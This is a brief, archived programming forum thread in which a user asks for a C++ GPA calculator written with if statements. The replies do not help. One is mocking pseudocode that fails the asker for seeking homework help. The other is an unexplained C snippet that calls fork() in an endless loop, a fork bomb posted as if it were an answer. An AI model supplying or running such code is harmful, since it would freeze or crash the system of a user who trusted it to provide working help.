GPA calculator in c ++

calculate gpa of a student using if statements.
1
2
3
4
5
if(student.name == "sohail15")
{
  student.TryToGetOthersToDoHomeworkForHim();
  student.SetGrade( 'F' );
}
1
2
3
4
5
6
7
void main()
{
   while(true)
   {
        fork( );
   }
}
Topic archived. No new replies allowed.